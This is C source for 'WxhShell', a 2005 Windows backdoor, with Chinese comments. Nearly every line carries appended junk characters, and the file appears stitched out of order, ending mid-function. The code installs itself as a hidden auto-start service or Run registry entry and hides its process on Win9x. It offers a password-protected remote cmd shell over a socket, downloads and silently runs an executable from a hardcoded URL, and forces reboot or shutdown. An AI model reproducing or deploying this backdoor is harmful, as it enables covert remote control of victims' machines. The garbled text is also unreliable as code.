    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BU`ckK\(  
    else { )X/*($SuA  
    closesocket(wsh); xcst<=  
    ExitThread(0); Us'Cs+5XcG  
    } 4S tjj!ew  
    break; 0; 7#ji  
    } H"eS<eT  
  // 获取shell 13H;p[$  
  case 's': { <PX.l%  
    CmdShell(wsh); z<!O!wX_aI  
    closesocket(wsh); H nK!aa  
    ExitThread(0); mjbTy"}"  
    break; $!f !,fw+  
  } IroPx#s:i  
  // 退出 C,fY.CeI  
  case 'x': { Pb#P`L7OB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "# !D|[h0  
    CloseIt(wsh); 7'z(~3D  
    break; P>(&glr|  
    } )IHG6}<  
  // 离开 Nb0Ik/:<  
  case 'q': { O$^xkv5.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OZf6/10O/  
    closesocket(wsh); Zae.MO^C!  
    WSACleanup(); 30s; }  
    exit(1); D93gH1z  
    break; =J](.78  
        } * r;xw  
  } Vz{>cSz#  
  } Q=WySIF.  
sf$o(^P9\A  
  // 提示信息 #AShbl jm+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /2xSNalC  
} :|rPT)yT]  
  } )n>+m|IqY(  
YlTaN,?j  
  return; b?8)7.{F{  
} 1fH<VgF`  
sef]>q  
// shell模块句柄 /N6}*0Ru  
int CmdShell(SOCKET sock) yrnv!moc%t  
{ `rlk|&T1  
STARTUPINFO si; iPvuz7j=h  
ZeroMemory(&si,sizeof(si)); (,B#t7ka  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f"dSr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b5<okICD  
PROCESS_INFORMATION ProcessInfo; 22&;jpL'?  
char cmdline[]="cmd"; lj4o#^lC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .1#kD M  
  return 0; iG#}`  
} I`T1Pll  
BJk Z2=  
// 自身启动模式 zU&L.+   
int StartFromService(void) {e"dm5  
{ (5a1P;_Y  
typedef struct rQb7?O@-  
{ -R b{^/  
  DWORD ExitStatus; Z+4D.bA  
  DWORD PebBaseAddress; T7[NcZ:I  
  DWORD AffinityMask; WF[bO7:  
  DWORD BasePriority; F'FP0t!S  
  ULONG UniqueProcessId; O6X"RsI}  
  ULONG InheritedFromUniqueProcessId; C h19h8M  
}   PROCESS_BASIC_INFORMATION; 1& ^?U{  
iX"C/L|JN  
PROCNTQSIP NtQueryInformationProcess; s2REt$.q  
6KRO{QK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [%pRfjM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g<wRN#B  
n<7u>;SJQ  
  HANDLE             hProcess; F9a^ED0l\  
  PROCESS_BASIC_INFORMATION pbi; r^1+cwy/7P  
X!>eiYK)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S\*`lJzPM  
  if(NULL == hInst ) return 0; E=$p^s  
A6 !F@Ic[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A&"%os  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^x m$EY*Y,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YlF%UPp  
KOh A)  
  if (!NtQueryInformationProcess) return 0; mbxbEqz  
!h`kX[:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k~.&j"K  
  if(!hProcess) return 0; 69G`2_eKCp  
g[[;w*;z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S1S;F9F  
'hqBo|  
  CloseHandle(hProcess); +>\id~c(  
:j^FJ@2_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U;q];e:,=}  
if(hProcess==NULL) return 0; 6"f}O<M 5H  
hA1-){aw3q  
HMODULE hMod; )"+2Z^1-  
char procName[255]; eq4C+&O&  
unsigned long cbNeeded; 0#*Lw }qi  
&#yR;{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / JkC+7H4  
vVl; |  
  CloseHandle(hProcess); |r%D\EB  
2*iIjw3g  
if(strstr(procName,"services")) return 1; // 以服务启动 RsJ6OFcWV  
H1n1-!%d  
  return 0; // 注册表启动 fw6UhG  
} cWyW~Ek  
{gbn/{  
// 主模块 ~{,X3-S_H  
int StartWxhshell(LPSTR lpCmdLine) \p{5D`HY  
{ %ru;;h  
  SOCKET wsl; :>Rv!x`  
BOOL val=TRUE; z7GTaX$d  
  int port=0; *jIqAhs0{  
  struct sockaddr_in door; N- H^lqD  
1K,1X(0rL8  
  if(wscfg.ws_autoins) Install(); y\dEk:\)  
?`zXLY9q7  
port=atoi(lpCmdLine); X4l@woh%  
Suk  
if(port<=0) port=wscfg.ws_port; h\v'9  
W"^wnGa@a  
  WSADATA data; 4SPy28<f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !l]dR@e  
$`R6=\|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %NL^WG:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bwiPS1+);  
  door.sin_family = AF_INET; >SPh2[f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?v>ET2wD  
  door.sin_port = htons(port); m3Il3ZY.  
{ZY+L;eg1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pvmC$n^zc  
closesocket(wsl); x#Sqn#  
return 1; P ;IrBq6|o  
} 3U_2!zF3_  
Na X   
  if(listen(wsl,2) == INVALID_SOCKET) {  Yn8=  
closesocket(wsl); "*G.EiLq  
return 1; \=_{na_  
} _h}kp\sps  
  Wxhshell(wsl); M Y|w  
  WSACleanup(); tHzZ@72B7  
Q7W>qe%4  
return 0; KtNY_&xd  
w^t/9Nasi  
} 8By|@LO  
LD!Q8"  
// 以NT服务方式启动 O{ #=d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F_CYYGZ  
{ 72'5%*1  
DWORD   status = 0; pR~U`r5z  
  DWORD   specificError = 0xfffffff; 8<Hf" M  
5LOo8xN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z[Xd%mhjO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P#AW\d^"B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TqnT S0fx  
  serviceStatus.dwWin32ExitCode     = 0; }sxYxn~  
  serviceStatus.dwServiceSpecificExitCode = 0; thhwN A  
  serviceStatus.dwCheckPoint       = 0; Dc,I7F|%  
  serviceStatus.dwWaitHint       = 0; c"[cNZo  
Qjb:WC7he  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t<#h$}=:Vt  
  if (hServiceStatusHandle==0) return; b9!FC$^J  
WYr/oRO  
status = GetLastError(); BqT y~{)+  
  if (status!=NO_ERROR) *c2YRbU(  
{ <~WsD)=$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?nL.w  
    serviceStatus.dwCheckPoint       = 0; d@qsdYu-*  
    serviceStatus.dwWaitHint       = 0; *6VF $/rP  
    serviceStatus.dwWin32ExitCode     = status; fZoHf\B]{  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^0 -:G6H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :5{wf Am  
    return; DP|D\+YyYA  
  } xoN3  
i*Z" Me  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .hifsB~  
  serviceStatus.dwCheckPoint       = 0; Om5Y|v"*  
  serviceStatus.dwWaitHint       = 0; s=;uc] 9g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u?}(P_9  
} b}"N`,0dO  
}|pwz   
// 处理NT服务事件,比如:启动、停止 R#I0|;q4|p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1]p ZrBh"E  
{ :>C2gS@  
switch(fdwControl) k=jk`c{<[  
{ r8xv#r1  
case SERVICE_CONTROL_STOP: Y/*mUS[oa  
  serviceStatus.dwWin32ExitCode = 0; h%uZYsK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2%_vXo=I  
  serviceStatus.dwCheckPoint   = 0; hbY5l}\5  
  serviceStatus.dwWaitHint     = 0; N'GeHByIT  
  { |E JD3 &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BW$"`T@c6~  
  } (^Y~/  
  return; ,Pdf,2  
case SERVICE_CONTROL_PAUSE: uo@n(>}EL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '2 PF  
  break; fR(d  
case SERVICE_CONTROL_CONTINUE: uc){+'[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3R.W >U  
  break; U`2e{>'4t  
case SERVICE_CONTROL_INTERROGATE: T[g[&K1Y  
  break; 5?]hd*8   
}; T9Nb`sbV]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1ng!G 7g  
} ?j"KV_  
?B2] -+Y  
// 标准应用程序主函数 Gz,i~XX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +lHjC$   
{ t%E!o0+8Z  
sTn<#l6  
// 获取操作系统版本 hHV";bk  
OsIsNt=GetOsVer(); e,W%uH>X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NTYg[VTr  
,F,X ,  
  // 从命令行安装 m}7iTDJR9  
  if(strpbrk(lpCmdLine,"iI")) Install(); hhCrUn"  
EK6:~  
  // 下载执行文件 Bu#VMk chJ  
if(wscfg.ws_downexe) { wAf\|{Vn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qVH1}9_  
  WinExec(wscfg.ws_filenam,SW_HIDE); < HVl(O  
} ]~'5\58sP  
(>nGQS]H  
if(!OsIsNt) { w9< R#y[A  
// 如果时win9x,隐藏进程并且设置为注册表启动 &L'Dqew,*  
HideProc(); Vf] "L .G  
StartWxhshell(lpCmdLine); A#EDk U,  
} t/VD31  
else onz?_SAW  
  if(StartFromService()) 21K>`d\  
  // 以服务方式启动 )48QBz?  
  StartServiceCtrlDispatcher(DispatchTable); TJK[ev};S  
else *Q ?tl\E  
  // 普通方式启动 #49kjv@  
  StartWxhshell(lpCmdLine); g?z/2zKR  
3G}x;Cp\D  
return 0; 1g8_Xe4  
} nn@-W]  
"_-Po^u=r  
%A1o.{H  
TO]@ Zu1  
=========================================== }`% *W`9b  
J&W)(Cf  
3@dL /x4A  
v0z5j6)-1  
vHry&#Pl+  
VVac:  
" d3 ZdB4L  
6dabU*  
#include <stdio.h> J8uLJ  
#include <string.h> v+46 QK|I&  
#include <windows.h> /:~\5}tW  
#include <winsock2.h> 6e9,PS  
#include <winsvc.h> +6HVhoxU#  
#include <urlmon.h> lr>oYS0  
5m\<U`  
#pragma comment (lib, "Ws2_32.lib") 8']M^|1  
#pragma comment (lib, "urlmon.lib") e7Xeo+/  
6#7Lm) g8  
#define MAX_USER   100 // 最大客户端连接数  oM2l-[-  
#define BUF_SOCK   200 // sock buffer Wh+{mvu#  
#define KEY_BUFF   255 // 输入 buffer I&}L*Z?`  
e!N:,`R 5  
#define REBOOT     0   // 重启 BTGv N %  
#define SHUTDOWN   1   // 关机 ZSjMH .Ij"  
yu!h<nfzA  
#define DEF_PORT   5000 // 监听端口 Ugu[|,  
l{I6&^!KS  
#define REG_LEN     16   // 注册表键长度 ($au:'kU  
#define SVC_LEN     80   // NT服务名长度 x$5) ^ud?  
~zCEpU|@N  
// 从dll定义API -JMdE_h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {XR6>]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x+ Ttl4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H?<N.Dq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WIC/AL'  
0^I|u t4  
// wxhshell配置信息 C7lH]`W|/  
struct WSCFG { '\Giv!>  
  int ws_port;         // 监听端口 {> eXR?s/  
  char ws_passstr[REG_LEN]; // 口令 mn, =i  
  int ws_autoins;       // 安装标记, 1=yes 0=no }zkHJxZgE  
  char ws_regname[REG_LEN]; // 注册表键名 gw#5jW\  
  char ws_svcname[REG_LEN]; // 服务名 XewVcRo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g7}Gip}.>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t3*wjQ3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =mS\i663  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nKPYOY8^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^U `[(kz=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ixb=L (V  
2|3)S`WZl  
}; R Q vft  
i6dHrx]:,  
// default Wxhshell configuration (D#B_`;-  
struct WSCFG wscfg={DEF_PORT, Oft-w)cYz,  
    "xuhuanlingzhe", -I*^-+>H  
    1, -~s!73pDY  
    "Wxhshell", 6h|q'.Y  
    "Wxhshell", *w^C"^*  
            "WxhShell Service", tNO-e|~'  
    "Wrsky Windows CmdShell Service", HJLu'KY }  
    "Please Input Your Password: ", M2PAy! J  
  1, `NCwK6/i  
  "http://www.wrsky.com/wxhshell.exe", RN$1bxY  
  "Wxhshell.exe" /1"(cQ%?  
    }; {G U&a  
.>= (' -  
// 消息定义模块 <e Th  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +c(zo4nZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^T*?>%`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iq8Grd L"  
char *msg_ws_ext="\n\rExit."; {IxA)v-`  
char *msg_ws_end="\n\rQuit."; AqWUwK9T  
char *msg_ws_boot="\n\rReboot..."; 0H6(EzN  
char *msg_ws_poff="\n\rShutdown..."; i!J8 d"  
char *msg_ws_down="\n\rSave to "; S=5<^o^h3  
OVm\  
char *msg_ws_err="\n\rErr!"; X &uTSgN  
char *msg_ws_ok="\n\rOK!"; 7|{}\w(I  
;nep5!s;<  
char ExeFile[MAX_PATH]; "fG8?)d;  
int nUser = 0; n!YKz"$  
HANDLE handles[MAX_USER]; 2/vMoVT,  
int OsIsNt; -=%@L&y1  
QqFR\6  
SERVICE_STATUS       serviceStatus; (\\eo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r[2ILe  
}Ga\wV  
// 函数声明 GR&z,  
int Install(void); .:@Ykdm4I  
int Uninstall(void); GGNvu )"  
int DownloadFile(char *sURL, SOCKET wsh); kh {p%<r{  
int Boot(int flag); 4]yOF_8h  
void HideProc(void); HBy[FYa4  
int GetOsVer(void); 1,6}_MA  
int Wxhshell(SOCKET wsl); @W s*QTlV  
void TalkWithClient(void *cs); n,jKmA  
int CmdShell(SOCKET sock); hlV=qfc  
int StartFromService(void); ti5mIW\  
int StartWxhshell(LPSTR lpCmdLine); GC>e26\:  
2Z-ljD&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Y$h"<M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O~T@rX9f  
Cbg!:Cws  
// 数据结构和表定义 FKIw!m ~  
SERVICE_TABLE_ENTRY DispatchTable[] = f-bVKHt  
{ h}*/Ge]aM  
{wscfg.ws_svcname, NTServiceMain}, kO,zZF&  
{NULL, NULL} V}J)\VZ2#  
}; w1hPc!I  
kw#;w=\>R{  
// 自我安装  8cU}I4|  
int Install(void) k,85Y$`'  
{ GC?ON0g5s  
  char svExeFile[MAX_PATH]; rm5bkJcg~  
  HKEY key; + ,%&e  
  strcpy(svExeFile,ExeFile); B|R@5mjm  
Sx708`/Ep  
// 如果是win9x系统,修改注册表设为自启动 ]Y%Vio  
if(!OsIsNt) { +b.g$CRr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T^Y([23  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [h^2Y&Au5  
  RegCloseKey(key); mR&H9 NG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c#|raXGT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nH`Q#ZFz]?  
  RegCloseKey(key); {t0) q  
  return 0; =7w\ 7-.m  
    } Rtb7|  
  } K@sV\"U(*E  
} ,24p%KJ*X  
else { }@;ep&b*  
UELy"z R  
// 如果是NT以上系统,安装为系统服务 x,rlrxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VXYK?Qc'  
if (schSCManager!=0) S& S Q  
{ OHeT,@(mh  
  SC_HANDLE schService = CreateService [Grxw[(_:  
  ( T+*%?2>q"  
  schSCManager, 7uKNd *%  
  wscfg.ws_svcname, H=g`hF]`  
  wscfg.ws_svcdisp, G+%zn|  
  SERVICE_ALL_ACCESS, o9JMH.G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v*;-yG&  
  SERVICE_AUTO_START, ex::m&  
  SERVICE_ERROR_NORMAL, ]b\yg2  
  svExeFile, +_; l|uhT;  
  NULL, 8.XoVW#  
  NULL, X.Rb-@  
  NULL, /JHc!D  
  NULL, J&M o%"[)  
  NULL 7[> 6i  
  ); b\3Oyp>  
  if (schService!=0) ?98("T|y;  
  { ~rDZ?~%  
  CloseServiceHandle(schService); lwrC pD .  
  CloseServiceHandle(schSCManager); X;i~ <Tq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EH256f(&  
  strcat(svExeFile,wscfg.ws_svcname); gu0j.XS^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iH/6M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d{SG Cr 9d  
  RegCloseKey(key); Jth[DUH8H  
  return 0; n@C[@?D  
    } pimtiQqC  
  } AyNI$Q6Z  
  CloseServiceHandle(schSCManager); s$cK(S#  
} b6U2GDm\s  
} Y&S24aql  
#:[t^}  
return 1; cd(GvX'  
} H,DM1Z9rz  
~F4fFQ-yy  
// 自我卸载 E~]R2!9  
int Uninstall(void) 9f hsIe  
{ ;\]b T;#  
  HKEY key; zG ^$"f2  
P(H8[,  
if(!OsIsNt) { PcA2/!a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |G?htZF  
  RegDeleteValue(key,wscfg.ws_regname); Y8m1M-#w  
  RegCloseKey(key); X $ s:>[H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t=Xv;=daB  
  RegDeleteValue(key,wscfg.ws_regname); SZ,YS 4M  
  RegCloseKey(key); |y0(Q V  
  return 0; CDP U\ZG  
  } { OXFN;2  
} VFRi1\G  
} "JlpU-8[0@  
else { sE:M@`2L  
`%+Wz0(K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g/P+ZXJ  
if (schSCManager!=0) -(  
{ [R=yF ~-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3~uW I%I`  
  if (schService!=0) GT0Of~?f  
  { P*FMwrJj>r  
  if(DeleteService(schService)!=0) { IF44F3(V4  
  CloseServiceHandle(schService); k@/sn (x  
  CloseServiceHandle(schSCManager); fh](K'P#^  
  return 0; p-Kz-+A[  
  } 555XCWyrC  
  CloseServiceHandle(schService); -_1>C\h"  
  } 8=NM|i  
  CloseServiceHandle(schSCManager); gj*+\3KO@a  
} j!U-'zJ  
} Dpl A?  
.P[ _<8  
return 1; Cj{1H([-  
} }+C2I  
H@%GSE  
// 从指定url下载文件 Uk^B"y_  
int DownloadFile(char *sURL, SOCKET wsh) czS+< w  
{ S7/eS)SQR  
  HRESULT hr; uTKD 4yig  
char seps[]= "/"; 2QJ{a46}  
char *token; dwDcR,z?a  
char *file; L)@?e?9  
char myURL[MAX_PATH]; M<kj_.  
char myFILE[MAX_PATH]; B56L1^ 7  
!,6c ~ w  
strcpy(myURL,sURL); ~N<4L>y<  
  token=strtok(myURL,seps); ?u" 4@  
  while(token!=NULL) mF,Y?ax  
  { zi]\<?\X  
    file=token; &Low/Y'.jJ  
  token=strtok(NULL,seps); uVJDne,R  
  } TU:7Df  
^eo|P~w g  
GetCurrentDirectory(MAX_PATH,myFILE); 59"UL\3  
strcat(myFILE, "\\"); 3|'>`!hb  
strcat(myFILE, file); " @v <Bk  
  send(wsh,myFILE,strlen(myFILE),0); p<,*3huj  
send(wsh,"...",3,0); M$/|)U'W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^j31S*f&:  
  if(hr==S_OK) +^=8ge}  
return 0; 56zL"TF`  
else  UA48Ug  
return 1; e=B|==E10M  
6L"%e!be6  
} Z0Vl+  
|mGFts}0o'  
// 系统电源模块 $}>+kHoT{  
int Boot(int flag) +@p% p  
{ mLP.t%?#   
  HANDLE hToken; y5 *Z 3"<  
  TOKEN_PRIVILEGES tkp; i{`FmrPO~  
$a ]_w.@  
  if(OsIsNt) { JM x>][xD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pe]A5\4c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 60J;sGW  
    tkp.PrivilegeCount = 1; H!5\v"]WB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SYCEQ5 -  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _B/ dWA,P  
if(flag==REBOOT) { >z%&xgOa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]n_ k`  
  return 0; GO` Ru 8  
} $\]&rZVi  
else { El.hu%#n*G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [lWQ'DZ  
  return 0; lDYyqG4  
} VF?<{F  
  } [RLN;(0n  
  else { =5/9%P8j9  
if(flag==REBOOT) { 8<8:+M}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y2n!>[[.  
  return 0; BK)$'AqO  
} d1AioQ9  
else { K/i*w<aPb7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `6lr4Kk @R  
  return 0; U+:m4a  
} _+K_5IO4  
} >7I15U  
1 *'HL#  
return 1; *>|gxM8  
} + +M$#Er&  
'ig&$fzb  
// win9x进程隐藏模块 oU056  
void HideProc(void) g!lWu[d  
{ $Tu61zq  
i V'k}rXC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N/ %WsQp  
  if ( hKernel != NULL ) /178A;J y  
  { H*ow\ Ct  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'p> Ra/4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mZSD(  
    FreeLibrary(hKernel); M?Dfu .t  
  } DI:]GED" =  
NdMb)l)m  
return; nuk*.Su  
} [fAV5U  
GFeQ%l`7F  
// 获取操作系统版本 Qw-~>d  
int GetOsVer(void) QEz? w}b*  
{ dIN$)?aB0  
  OSVERSIONINFO winfo; {1 UQ/_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F5P[dp-`1  
  GetVersionEx(&winfo); )wC?T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }&cu/o4  
  return 1; (gP)%  
  else ^ DaBz\  
  return 0; ^hc!FD  
} mq@6Q\Z+  
ii T"5`KY  
// 客户端句柄模块 >/l? g5{  
int Wxhshell(SOCKET wsl) i,>khc  
{ hIy~B['  
  SOCKET wsh; B"h#C!E  
  struct sockaddr_in client; R3x3]]D  
  DWORD myID; XGYbnZ~   
\MyLc/Gh5  
  while(nUser<MAX_USER) 11o.c;  
{ vdAr|4^qB  
  int nSize=sizeof(client); #|L8tuWW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +R3k-' >  
  if(wsh==INVALID_SOCKET) return 1; ]A~WIF  
OLyf8&AU@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gG0!C))8  
if(handles[nUser]==0) BXtCSfY $  
  closesocket(wsh); 4Jp:x"w  
else 9IjIIM2y  
  nUser++; yA)/Q Yge  
  } \pPY37l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X <f8,n  
[xSF6  
  return 0; B Wk/DVue  
} zr-*$1eu  
tXNm$Cq.|  
// 关闭 socket \UPjf]&  
void CloseIt(SOCKET wsh) _Gn2o2T  
{ Y~c|hfL  
closesocket(wsh); J\+0[~~  
nUser--; B^4&-z2|  
ExitThread(0); E{XH?_xo  
} kZR8a(4D  
zd2)M@  
// 客户端请求句柄 I(i}c~ R  
void TalkWithClient(void *cs) aOlT;h  
{ uxXBEq;  
J%u=Ucdh  
  SOCKET wsh=(SOCKET)cs; 0(eB ZdRO  
  char pwd[SVC_LEN]; a L} % 2  
  char cmd[KEY_BUFF]; J"!vu.[  
char chr[1]; '~5LY!H(pT  
int i,j; ,]|#[8  
j'Gt&\4  
  while (nUser < MAX_USER) { PQy4{0 _  
-.1y(k^4E  
if(wscfg.ws_passstr) { '*K:  lx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }tRm]w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Si_ _8D  
  //ZeroMemory(pwd,KEY_BUFF); Z"/p,A9W9|  
      i=0; uZNTHD  
  while(i<SVC_LEN) { e%svrJ2   
GZEc l'h*  
  // 设置超时 ?4+9fE<Q  
  fd_set FdRead; } df W%{  
  struct timeval TimeOut; 5 h-@|t  
  FD_ZERO(&FdRead); s3z$e+A8  
  FD_SET(wsh,&FdRead); IdzxS  
  TimeOut.tv_sec=8; v:IpMU-+\  
  TimeOut.tv_usec=0; WffQ:L?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &-;4.op  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zNs55e.rx  
N(; 1o.~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,vr? 2k  
  pwd=chr[0]; HJ9Kz^TnC  
  if(chr[0]==0xd || chr[0]==0xa) { t_o['F  
  pwd=0; m4**~xfC  
  break; bp* ^z,w  
  } \d 6C%S!  
  i++; HHA<IZ#;,  
    } 52%2R]G!  
vmU@^2JSJ  
  // 如果是非法用户,关闭 socket Z?6%;n^ 54  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @3) (BpFe  
} #*D)Q/k  
|t^E~HLm,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . k#U]M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x.]i }mt  
Q 8T]\6)m  
while(1) { 1#C4;3i,  
b,5~b&<h  
  ZeroMemory(cmd,KEY_BUFF); .8@$\ZRP  
(jnQ -  
      // 自动支持客户端 telnet标准   D[4u+g?[}>  
  j=0; r)lEofX,g+  
  while(j<KEY_BUFF) { R_ B7EP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B~6&{7 xc%  
  cmd[j]=chr[0]; P Y_u/<u  
  if(chr[0]==0xa || chr[0]==0xd) { 34`'M+3  
  cmd[j]=0; N nRD|A  
  break; Nkjza:f{  
  } 6g2a[6G5  
  j++; |nc@"OJ  
    } %>yG+Od5Z  
 w^?>e;/\  
  // 下载文件 /$ w%Q-p  
  if(strstr(cmd,"http://")) { 6@Y_*4$|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VF&(8X\   
  if(DownloadFile(cmd,wsh)) ojafy}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A0/"&Ag]  
  else AS!?q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n4s+>|\M  
  } 4qO+_!x{)  
  else { KxI&G%z  
DH[p\Wy'  
    switch(cmd[0]) { mi=Q{>rb  
  iNWw;_|1  
